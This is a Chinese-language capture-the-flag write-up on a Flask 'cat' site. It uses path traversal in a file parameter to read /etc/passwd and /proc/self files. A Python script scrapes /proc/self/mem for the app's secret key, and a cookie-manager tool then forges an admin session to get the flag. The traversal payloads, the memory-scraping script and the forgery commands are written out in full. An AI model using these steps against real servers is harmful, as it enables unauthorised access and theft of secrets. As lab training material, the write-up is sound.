一道有关任意文件读取,Linux敏感文件,flask-session伪造的题目
1.Linux敏感文件
/etc/passwd :这是Linux系统的用户信息数据库,记录了系统中所有用户的基本信息,包括用户名、用户ID、组ID、家目录和登录shell等,格式是用冒号分隔的多个字段,虽然叫"passwd",但现代系统中密码实际存储在更安全的/etc/shadow文件中。
/proc/self :这是一个特殊的符号链接,它总是指向当前正在访问它的进程自身的信息目录,比如如果你的进程ID是1234,那么访问/proc/self就相当于访问/proc/1234,让你无需知道自己的PID就能查看自己的进程信息。
/proc/self/cmdline :这个文件包含了当前进程启动时使用的完整命令行参数,包括程序名称和所有参数。
/proc/self/maps: 这个文件详细展示了当前进程的内存布局地图,包括哪些内存区域被使用、每个区域的起始和结束地址、访问权限(可读/可写/可执行)、以及这些内存映射到了什么文件或用途(如代码段、数据段、堆、栈、共享库等)。
/proc/self/mem :这是当前进程的完整内存内容的镜像文件,通过读取或写入这个文件可以直接操作进程的内存数据,但必须配合maps文件提供的内存地址信息,因为内存中有很多未映射的无效区域,直接读取会出错。
flask-session结构 :Flask-session是Flask框架的会话管理扩展,它将session数据分为三部分:序列化的实际数据、时间戳和防篡改签名,这三部分用点号连接后存储在用户cookie中或服务器端,确保会话数据的安全性和完整性。
2.解题过程
打开题目环境可以看到是一个介绍猫猫的网站

点开一个介绍,看到url上使用GET请求传递了一个名为file的参数,可能有文件包含漏洞。

传递参数?file=../../../etc/passwd发现存在任意文件读取漏洞。

读取当前进程的命令行参数?file=../../../../proc/self/cmdline,发现有一个通过python启动app.py的命令,所以该网站是一个python框架。根据app.py可以知道是flask框架。(该文件常常为flask项目结构中的主程序文件。)

尝试找到并读取app.py,在上一级目录中找到(该路径不是固定的)。读取到app.py的代码内容。

分析app.py的代码,在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
            
            
              python
              
              
            
          
          import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"  # 此处利用uuid.uuid4()生成了一串id字符串并在后面拼接*abcdefgh
if os.path.isfile("/flag"):  # 导入flag文件并删除掉
    flag = cat("/flag")
    os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
    return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])  # 在session信息中admin=1的用户在/admin路径下访问网站可以获得flag,所以要伪造session。
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
    return "NoNoNo"
if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)
        flask_session的伪造需要用到secret_key,而secret_key的值可以通过内存数据获取。但是必须配合maps文件提供的内存地址信息,因为内存中有很多未映射的无效区域,直接读取会出错,所以在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址?file=../../../proc/self/maps。

接下来编写脚本获取secret_key,首先将返回的maps文件的内容保存到test.txt文件中,然后运行run.py,使用正则表达式在 lines 字符串中搜索内存地址范围模式,([0-9a-f]+)-([0-9a-f]+) 匹配格式为起始地址-结束地址的十六进制数字,括号 () 创建了捕获组,可以分别提取起始和结束地址,获得secret_key。
            
            
              python
              
              
            
          
          import re,requests
line=open(file="/home/never/桌面/maps.txt",mode='r')
file_date=line.readlines()
for lines in file_date:
    if 'rw' in lines:
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)', lines)   //使用正则表达式在 lines 字符串中搜索内存地址范围模式,([0-9a-f]+)-([0-9a-f]+) 匹配格式为 起始地址-结束地址 的十六进制数字,括号 () 创建了捕获组,可以分别提取起始和结束地址
        start = int(addr.group(1), 16)
        end = int(addr.group(2), 16)
        print(start, end)
        url = f"http://61.147.171.103:50655/info?file=../../../../proc/self/mem&start={start}&end={end}"
        response = requests.get(url)
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
        if secret_key:
            print(secret_key)
            exit(0)
        
有了secret_key后接下来就是伪造session,session在访问/admin路径时的cookie中。session为eyJhZG1pbiI6MH0.aQgWug.eatW8ugIZRL2NFTdCTbOfxiFEOs。

使用工具flask_session_cookie_manager伪造session。使用方法为:
解密 :python flask_session_cookie_manager3.py decode -s "secret_key" -c "session"
加密 :python flask_session_cookie_manager3.py encode -s "secret_key" -t "data"
最后使用伪造的session来修改cookie并访问/admin。获得flag:catctf{Catch_the_c4t_HaHa}
